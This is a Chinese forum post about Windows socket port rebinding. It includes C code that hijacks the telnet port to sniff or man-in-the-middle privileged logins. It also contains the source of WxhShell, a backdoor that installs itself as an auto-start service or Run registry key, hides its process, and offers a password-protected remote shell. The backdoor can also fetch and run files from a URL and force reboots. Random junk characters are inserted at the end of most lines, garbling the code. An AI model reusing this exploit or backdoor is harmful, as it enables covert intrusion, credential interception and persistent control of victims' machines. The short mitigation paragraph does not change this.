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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;%B9mM#p~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dK4rrO  
]L7A$sTUQ  
  saddr.sin_family = AF_INET; cgSN:$p(R  
_Uq' N0U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <.B+&3')  
Mjy:k|aY"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T?t/[iuHrj  
.8Bo5)q$a-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bAGKi.  
]p 3f54!  
  这意味着什么?意味着可以进行如下的攻击: ow.!4kx{d  
wz*iwd-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (Y@T5-!D  
$?G@ijk,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |f#hGk6  
a[(OeVQ5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q`b6if"  
EN2SI+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k[;)/LfhS  
=I@t%Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]f0'YLG  
.Dr!\.hL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C; N6",s!  
yXJ25Axb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Aj4 a-vd.  
]HuB%G|t1V  
  #include '\tI|  
  #include :^v Q4/,  
  #include C,Nf|L((6  
  #include    6FA+q YSV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T8x)i\<  
  int main() ir_XU/ve  
  { a (~Y:v  
  WORD wVersionRequested; >+P}S@  
  DWORD ret; ?K>)bA&l'  
  WSADATA wsaData; 2@<_,'  
  BOOL val; 49~d6fH  
  SOCKADDR_IN saddr; H@=oVyn/  
  SOCKADDR_IN scaddr; ZH_$Q$9  
  int err; (?7=,A7^  
  SOCKET s; ^w60AqR8  
  SOCKET sc; HcsV q+  
  int caddsize; j|k/&q[St  
  HANDLE mt; s)a-ky(  
  DWORD tid;   6]?mjG6  
  wVersionRequested = MAKEWORD( 2, 2 ); 3' i6<  
  err = WSAStartup( wVersionRequested, &wsaData ); E1eGZ&&Gd  
  if ( err != 0 ) { CO='[1"_5  
  printf("error!WSAStartup failed!\n"); g Ed A hfx  
  return -1; tQ|c.`)W  
  } olE(#}7V  
  saddr.sin_family = AF_INET; u ]e-IYH  
   &Q883A J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w\bwa!3Y  
Jr2yn{s=S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^v'kEsE^*  
  saddr.sin_port = htons(23); -G~]e6:zD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |Ns4^2  
  { a)QT#.  
  printf("error!socket failed!\n"); 1;ttwF>G7  
  return -1; 9|1msg4  
  } $r/$aq=K  
  val = TRUE; im2mA8OH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #'_#t/u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V]F D'XAl  
  { '[ t.  
  printf("error!setsockopt failed!\n"); ,a?)O6?/  
  return -1; gjDNl/r/  
  } MA`nFkVK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k83K2> ]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HAxLYun(3w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mr\,"S-`  
JU?;Kq9R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WHdMP  
  { ~)U50. CH  
  ret=GetLastError(); SGWb*grt  
  printf("error!bind failed!\n"); J:@gmo`M;V  
  return -1; I2[Z0G@&=  
  } n/_q  
  listen(s,2); W"c\/]aD  
  while(1) 3W?7hh  
  { l=CAr  
  caddsize = sizeof(scaddr); v`A)GnNiN  
  //接受连接请求 %R0 Wq4}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5Z>a}s_i  
  if(sc!=INVALID_SOCKET) ,HZ%q]*:~  
  { hIe.Mv-I)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "ko*-FrQ  
  if(mt==NULL) zPaubqB  
  { Nny*C`uDF  
  printf("Thread Creat Failed!\n"); ``l*;}  
  break; yB UQ!4e  
  } ?'> .>  
  } 1Wpu  
  CloseHandle(mt); }~ D WB"  
  } `K{}  
  closesocket(s); {=GmXd%D  
  WSACleanup(); ojM'8z 0Hn  
  return 0; Jt8;ddz  
  }   /e2zH  
  DWORD WINAPI ClientThread(LPVOID lpParam) *K/K97  
  { <=.6Z*x+  
  SOCKET ss = (SOCKET)lpParam; HMd?`  
  SOCKET sc; L$PbC!1  
  unsigned char buf[4096]; )> ZT{eF  
  SOCKADDR_IN saddr; ;J W ]b]  
  long num; ;Nn(  
  DWORD val; +=($mcw#[  
  DWORD ret; spa :5]B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #/YS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mjD^iu8?  
  saddr.sin_family = AF_INET; ~0PzRS^o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4/(#masIL  
  saddr.sin_port = htons(23); v`|]57?A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B?j t?  
  { { )qr3-EM#  
  printf("error!socket failed!\n"); u> {aF{  
  return -1; 8eB,$;i  
  } 0F)v9EK(W4  
  val = 100; edL2ax  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }; '@'   
  { .n7@$kq  
  ret = GetLastError(); %+'Ex]B  
  return -1; X_78;T)uA  
  } n-9xfn0U~#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r?DCR\Jq  
  { 0qN`-0Yk  
  ret = GetLastError(); ?}Zo~]7E  
  return -1; 89M'klZ   
  } EDnNS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cW*v))@2  
  { B{/og*xd*1  
  printf("error!socket connect failed!\n"); UwUHB~<oE  
  closesocket(sc); V*n$$-5 1-  
  closesocket(ss); O:0{vu9AQ  
  return -1; f\R_a/Us  
  } )WoH>D  
  while(1) c0o]O[  
  { qm_l# u6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iZNS? ^U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ho=!Yy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6xDk3   
  num = recv(ss,buf,4096,0); uX-^ 9t  
  if(num>0) s)WA9PiC  
  send(sc,buf,num,0); ~\am%r>  
  else if(num==0) CU|E-XPW  
  break; ?>;b,^4  
  num = recv(sc,buf,4096,0); gGP6"|tc4  
  if(num>0) ChK-L6  
  send(ss,buf,num,0); (xo`*Q,+  
  else if(num==0) LAC&W;pJ"  
  break; !yv>e7g^  
  } cAN!5?D\  
  closesocket(ss); :E-$:\V0}k  
  closesocket(sc); H4ie$/[$8  
  return 0 ; d92Z;FWb  
  } eKOEOm+  
uF<34  
[)V~U?  
========================================================== nT?+^Ruc  
8y27O  
下边附上一个代码,,WXhSHELL 'xta/@Sq  
aV$kxzEc  
========================================================== mo^E8t.  
,ciX *F"  
#include "stdafx.h" ?t%{2a<X  
s~{rC{9X  
#include <stdio.h> <eXGtD  
#include <string.h> bse`Xfg  
#include <windows.h> [;wJM|Z J0  
#include <winsock2.h> "73*0'm  
#include <winsvc.h> jSpj6:@B  
#include <urlmon.h> CcUF)$kz  
n#6{K6}k~  
#pragma comment (lib, "Ws2_32.lib") PE5*]+lW.  
#pragma comment (lib, "urlmon.lib") .F,l>wUNe  
zg ,=A?  
#define MAX_USER   100 // 最大客户端连接数 "SN*hzs"]`  
#define BUF_SOCK   200 // sock buffer AO8 #l YP?  
#define KEY_BUFF   255 // 输入 buffer c>$d!IKCL  
?1L<VL=b  
#define REBOOT     0   // 重启 _GkLspSaU  
#define SHUTDOWN   1   // 关机 f+9eB  
wn@~80)$  
#define DEF_PORT   5000 // 监听端口 Gy \ ]j  
(l%?YME  
#define REG_LEN     16   // 注册表键长度 68j1s vz9  
#define SVC_LEN     80   // NT服务名长度 ,< g%}P/  
HN7tIz@Frc  
// 从dll定义API /k/X[/WO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m}z6Bbis0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -F?97&G$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4^r6RS@z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {_b2!!p  
MH#Tp#RG  
// wxhshell配置信息 Y/J~M$9P,  
struct WSCFG { =Fc]mcJ69  
  int ws_port;         // 监听端口 [\3ZMH *  
  char ws_passstr[REG_LEN]; // 口令 >/74u/&  
  int ws_autoins;       // 安装标记, 1=yes 0=no I8! .n  
  char ws_regname[REG_LEN]; // 注册表键名 qh.F}9o  
  char ws_svcname[REG_LEN]; // 服务名 'o)Y!VYnJF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <n,QSy#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IoL P*D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *f 7rLM*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5Xr})%L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6/ 5c|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nl}LT/N  
|yz[mP*;o  
}; FaCW +9B  
;"cQ)=s9Y  
// default Wxhshell configuration @Y`Z3LiR$  
struct WSCFG wscfg={DEF_PORT, 'yVe&5?  
    "xuhuanlingzhe", ]A}ZaXd  
    1, ;.AMP$o`(Y  
    "Wxhshell", 8Ygf@*9L4  
    "Wxhshell", 3UXZ|!-  
            "WxhShell Service", j_5&w Znq  
    "Wrsky Windows CmdShell Service", L*4"D4V  
    "Please Input Your Password: ", Gx$m"Jeq\  
  1, d;<'28A  
  "http://www.wrsky.com/wxhshell.exe", E G+/2o+W  
  "Wxhshell.exe" YZ<z lU  
    }; qeFaY74S  
6~sU[thGW  
// 消息定义模块 M @KQOAzt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l@&-be  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0S :&wb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,y'6vW`%g9  
char *msg_ws_ext="\n\rExit."; C)c*s C5N  
char *msg_ws_end="\n\rQuit."; L~f~XgQ  
char *msg_ws_boot="\n\rReboot..."; LpY{<:y  
char *msg_ws_poff="\n\rShutdown..."; C$0u-Nx8  
char *msg_ws_down="\n\rSave to "; tm/ >H  
AmC9qk8Q  
char *msg_ws_err="\n\rErr!"; [R1|=kGU  
char *msg_ws_ok="\n\rOK!"; qqo#H O  
l$1?@l$j  
char ExeFile[MAX_PATH]; ?,x\46]>_K  
int nUser = 0; ~]?s A{  
HANDLE handles[MAX_USER]; SW%}S*h  
int OsIsNt; 5eL b/,R  
E} ]=<8V  
SERVICE_STATUS       serviceStatus; #/ePpSyD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c*B< - l<5  
mS[``$Z\!  
// 函数声明 #lMcAYH,  
int Install(void); V|@bITJ?7  
int Uninstall(void); /ojx$Um  
int DownloadFile(char *sURL, SOCKET wsh); qCI7)L`  
int Boot(int flag); Mi#i 3y(  
void HideProc(void); lr4wz(q<9  
int GetOsVer(void); 7_PY%4T"  
int Wxhshell(SOCKET wsl); QxG^oxU}  
void TalkWithClient(void *cs); |pS]zD  
int CmdShell(SOCKET sock); aV7VbC  
int StartFromService(void); 9[JUJ,#X'0  
int StartWxhshell(LPSTR lpCmdLine); ;=$;h6W0  
st* sv}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !&Q?ASJH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "P?O1  
1#c Tk  
// 数据结构和表定义 qE2VUEv5Y  
SERVICE_TABLE_ENTRY DispatchTable[] = pTGGJ,  
{ "p3<-06  
{wscfg.ws_svcname, NTServiceMain}, ECA<%'$?E  
{NULL, NULL} cH*")oD  
}; @. $- ^-  
&xB*Shp,B  
// 自我安装 OU.}H $x"  
int Install(void) Q*I8RAfd  
{ SF-E>s!XL  
  char svExeFile[MAX_PATH]; D'u7"^=  
  HKEY key; l0^cdl-  
  strcpy(svExeFile,ExeFile); ,vmn{gz  
)bih>>H  
// 如果是win9x系统,修改注册表设为自启动 qD*y60~]zz  
if(!OsIsNt) { .-iW T4Dn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YFS6YA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); riOaqV  
  RegCloseKey(key); MvZa;B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L,.~VNy-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jZ-s6r2=  
  RegCloseKey(key); q/zU'7%@  
  return 0; >U`G3(#7S  
    } :8eI_X  
  } ?R)dx uj  
} #S9J9k  
else { {|>Wwa2e  
XQn1B3k+  
// 如果是NT以上系统,安装为系统服务 %m dtVQ@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J;Z2<x/H  
if (schSCManager!=0) O<Q8%Az  
{ &kzysv-_  
  SC_HANDLE schService = CreateService 66F?exr  
  ( 5b/ ~]v  
  schSCManager, -t S\  
  wscfg.ws_svcname, :,JjN&  
  wscfg.ws_svcdisp, B VeMV4  
  SERVICE_ALL_ACCESS, `dcz9 *  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }R 16WY_'  
  SERVICE_AUTO_START, ;6``t+]q   
  SERVICE_ERROR_NORMAL, Z6${nUX  
  svExeFile, kd!?N  
  NULL, @k h<b<a4  
  NULL, 4 j=K3m  
  NULL, JqMF9|{H  
  NULL, 6Jq[]l"v  
  NULL h_#=f(.'j  
  ); |?VJf3 A  
  if (schService!=0) -GFZFi  
  { ;<Z6Y3>I8  
  CloseServiceHandle(schService); H}kSXKO8!8  
  CloseServiceHandle(schSCManager); CR'%=N04^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HdxP:s.T  
  strcat(svExeFile,wscfg.ws_svcname); R)k\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { % Q6 za'25  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MAkr9AKb,  
  RegCloseKey(key); ^K"BQ~-w  
  return 0; $O*@Jg=  
    } cg3}33Z;6  
  } $2h%IK>#G  
  CloseServiceHandle(schSCManager); E>]K#H  
} ]Ac}+?  
} l~;>KjZg  
\t=0rFV)t  
return 1; Godrz*"  
} :sg}e  
Dj96t5R  
// 自我卸载 )%Fwfb  
int Uninstall(void) lvWwr!w  
{ exhU!p8  
  HKEY key; @T\n@M]  
_Z[0:4  
if(!OsIsNt) { z5$Q"Y.D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A`Dx]y  
  RegDeleteValue(key,wscfg.ws_regname); HQm_ K0$  
  RegCloseKey(key); ?MRY*[$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p}JOiiHa  
  RegDeleteValue(key,wscfg.ws_regname); I<940PZ  
  RegCloseKey(key); Tp;W4]'a*:  
  return 0; 4{kH;~ z$  
  } At:8+S<?A  
} ?'P}ZC8P  
} <r: AJ;  
else { B%;MGb o  
c$V5E t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [y@*vQw  
if (schSCManager!=0) a,vS{434J  
{ iv$YUM+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +v;z^+  
  if (schService!=0) ;WSW&2  
  { &t9 V  
  if(DeleteService(schService)!=0) { yV8J-YdsG  
  CloseServiceHandle(schService); vO1; ;  
  CloseServiceHandle(schSCManager); 6`CRT TJ7  
  return 0; EWD^=VITL  
  } '3672wF/  
  CloseServiceHandle(schService); Ldjz-  
  } S/5QK(XLC)  
  CloseServiceHandle(schSCManager); 0h@FHw2d  
} *[]E 5U  
} X-HE9PT.  
GVXdyi  
return 1; vv ,4n&D  
} 4=tR_s  
'vBZh1`p  
// 从指定url下载文件 $].htm  
int DownloadFile(char *sURL, SOCKET wsh) D|9+:Y  
{ *(Dmd$|0|  
  HRESULT hr; u)0I$Tc"  
char seps[]= "/"; +\Vm t[v  
char *token; \A[l(aB  
char *file; TsTc3  
char myURL[MAX_PATH]; uMg\s\Z  
char myFILE[MAX_PATH]; ps 3 )d  
3 39q%j$  
strcpy(myURL,sURL); bGWfMu=n  
  token=strtok(myURL,seps); hN'])[+V  
  while(token!=NULL) Tsg9,/vXM  
  { f(5(V %  
    file=token; p +i 1sY  
  token=strtok(NULL,seps); W91yj:  
  } 5X!-Hj  
kMQ /9~  
GetCurrentDirectory(MAX_PATH,myFILE); yc](  
strcat(myFILE, "\\"); yQ2=d5'V`  
strcat(myFILE, file); f,HUr% @  
  send(wsh,myFILE,strlen(myFILE),0); sApix=Lr  
send(wsh,"...",3,0); , Z"<-%3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EG>?>K_D  
  if(hr==S_OK) )]1hN;Nz  
return 0; ss)x fG  
else f4f2xe7\Q  
return 1; S!b18|o"  
s/D)X=P1  
} @oAz  
SB\%"nnV  
// 系统电源模块 jn2=)KBa_  
int Boot(int flag) A"V mxP  
{ >7>I1  
  HANDLE hToken; AYbO~_a\N  
  TOKEN_PRIVILEGES tkp; eQbHf  
+Y%6y]8  
  if(OsIsNt) { sasurR|;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "bo0O7InOV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j<<d A[X  
    tkp.PrivilegeCount = 1; FO2e7p^Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vQEV,d1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); So aqmY;+  
if(flag==REBOOT) { Op'a=4x]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H -kX-7C  
  return 0; $`F9e5}G  
} UPh#YV 0/,  
else { &N7ji  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cl~Yx 4  
  return 0; fW-C`x  
} ShB]U5b:k  
  } .;?!I_`  
  else { eTuqK23  
if(flag==REBOOT) { z K<af  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g":[rXvId  
  return 0; l[}4 X/  
} c2npma]DZ  
else { Mkz_.;3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  js_`L#t  
  return 0; 3'4+3Xo  
} @tH9$J*Y<  
} gF)9a_R%p  
3z+l-QO8  
return 1; o<`hj&s  
} =gB5JB<}2  
{a7~P0$  
// win9x进程隐藏模块 ~r--dU  
void HideProc(void) 7j]v_2S`  
{ $coO~qvU  
X,QsE{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,;)ZF  
  if ( hKernel != NULL ) J Wn26,  
  { fvkcJwkc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O`5,L[i1y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gt`7i(  
    FreeLibrary(hKernel); ?{ir$M  
  } 4%(Ji  
Cx7-I0!  
return; !U^{`V jp[  
} >fPo_@O  
QZ a.c  
// 获取操作系统版本 pO` KtagL  
int GetOsVer(void) P49\A^5S!  
{ @+u>rS|IB  
  OSVERSIONINFO winfo; d ]P~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c3vb~l)  
  GetVersionEx(&winfo); cw Obq\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aB]0?C y9(  
  return 1; 2xI|G 3U  
  else 4<efj  
  return 0; l:85 _E  
} /(N/DMl[  
isQ(O  
// 客户端句柄模块 'YL[s  
int Wxhshell(SOCKET wsl) FwCb$yE#M  
{ @YJI'Hf67  
  SOCKET wsh; xA] L0h]  
  struct sockaddr_in client; ]?Ef0?44  
  DWORD myID; &gXh:.  
4QL>LK  
  while(nUser<MAX_USER) '%NglC[J  
{ AU{"G  
  int nSize=sizeof(client); fr@F7s5}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G=zWhqieh  
  if(wsh==INVALID_SOCKET) return 1; =&HLz 7|  
J!I)G&:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %Tm*^  
if(handles[nUser]==0) zsFzg.$3&  
  closesocket(wsh); ;XKe$fsa~?  
else a)qan  
  nUser++; o5 L^  
  } F@w; .e!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xs$$fPAQ  
wVf~FssN  
  return 0; d$dy6{/YD  
} ahB qYA K9  
}lJ;|kx$  
// 关闭 socket !IxO''4  
void CloseIt(SOCKET wsh) S{@}ECla  
{ zkQ[<  
closesocket(wsh); XX6Z|Y5.  
nUser--; 7>vm?a^D2&  
ExitThread(0); *XVwTW[a  
} !rvEo =^  
I=Y>z ^4  
// 客户端请求句柄 /ZLY@&M  
void TalkWithClient(void *cs) s{hKl0ds  
{ UO/sv2CN  
:+rGBkw1m  
  SOCKET wsh=(SOCKET)cs; 7s9h:/Lu  
  char pwd[SVC_LEN]; wj|Zn+{"nF  
  char cmd[KEY_BUFF]; Vz{+3vfra6  
char chr[1]; ?6#won  
int i,j; c0!.ei  
.L'w/"O  
  while (nUser < MAX_USER) { 0YeTS!*Aj  
M6Fo.eeK3  
if(wscfg.ws_passstr) { y8Va>ul"U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); APQq F/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =OVDJ0ozZ  
  //ZeroMemory(pwd,KEY_BUFF); G#M)5'Q]U  
      i=0;  C0rf  
  while(i<SVC_LEN) { *GP2>oEM  
jG5HW*>k0  
  // 设置超时 nB[-KS  
  fd_set FdRead; ~(5r+Z}*`  
  struct timeval TimeOut; k9|5TLXq?  
  FD_ZERO(&FdRead); e~'` x38  
  FD_SET(wsh,&FdRead); jN=<d q ~  
  TimeOut.tv_sec=8; vqf$("  
  TimeOut.tv_usec=0; tYS4"Nfb+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U, 6iT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +n3I\7G>  
2_o#Gx'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nQ%HtXt;  
  pwd=chr[0]; aQk&#OQy  
  if(chr[0]==0xd || chr[0]==0xa) { |@qw  
  pwd=0; t>"%exdoZ  
  break; sE1cvAw9l  
  } 4ls:BO;k]  
  i++; *6uccx7{  
    } ?GhyVXS y.  
ITu19WG  
  // 如果是非法用户,关闭 socket YFKE>+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G)3I+uxn  
} _;<!8e$C  
*Ak.KBg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f0<zK !  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); md!6@)S-p  
~MpikBf  
while(1) { ;"3B,Yj  
jYsAL=oh,*  
  ZeroMemory(cmd,KEY_BUFF); c/{FDN  
X1L@ G  
      // 自动支持客户端 telnet标准   K %^n.  
  j=0; BHXi g~d  
  while(j<KEY_BUFF) { OWd'z1Yl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )P$(]{  
  cmd[j]=chr[0]; 3} A$+PX  
  if(chr[0]==0xa || chr[0]==0xd) { / )0hsQs  
  cmd[j]=0; w =^.ICyb@  
  break; R>Ra~ b  
  } n|`3d~9$&  
  j++; n ]ikc|  
    } Jh[0xb  
Onmmcem  
  // 下载文件 Bd>~F7VWs  
  if(strstr(cmd,"http://")) { @Mk`Tl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Xtp8 ^4Va  
  if(DownloadFile(cmd,wsh)) 1uF$$E6[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q YJ EUC@  
  else cHFi(K]|1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0X$mT:=9  
  } _k-_&PR  
  else { "kg`TJf=  
7#8Gn=g  
    switch(cmd[0]) { =x~I'|%3  
  b@:OlZ~ %  
  // 帮助 8:cbr/F<  
  case '?': { H= dIZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?^|`A}q#  
    break; 18g_v"6o  
  } :_{8amO  
  // 安装 UD I{4+z  
  case 'i': { n:j'0WW  
    if(Install()) DM.lQ0xk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r8k(L{W  
    else $KHm5*;nd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I[z:;4W}L^  
    break; M  .#}  
    } 3? {AGJ1  
  // 卸载 -(VJ,)8t2  
  case 'r': { E&[5b4D@<  
    if(Uninstall()) 7]{g^g.9-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9+.wj/75  
    else nhI+xqfn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L"_X W no  
    break; J0G@]H  
    } ">uN={Iy  
  // 显示 wxhshell 所在路径 Aoa8Q E   
  case 'p': { H`EhsYYK  
    char svExeFile[MAX_PATH]; gY}In+S  
    strcpy(svExeFile,"\n\r"); Hxu5Dx5![  
      strcat(svExeFile,ExeFile); ju~$FNt8R  
        send(wsh,svExeFile,strlen(svExeFile),0); Gvb2>ZN  
    break; XN<SKW(H3  
    } K+g[E<x\=  
  // 重启 Q PH=`s  
  case 'b': { A=|XlP$6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3^xUN|.F*V  
    if(Boot(REBOOT)) {I#_0Q,i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,GbmL8P7Y  
    else {  56.!L  
    closesocket(wsh); "hkcN+=  
    ExitThread(0); \Lx=iKs<  
    } ldv@C6+J  
    break; L3&Ys3-h  
    } )XI[hVUA  
  // 关机 X1o",,N^M  
  case 'd': { oOFTQB_6  
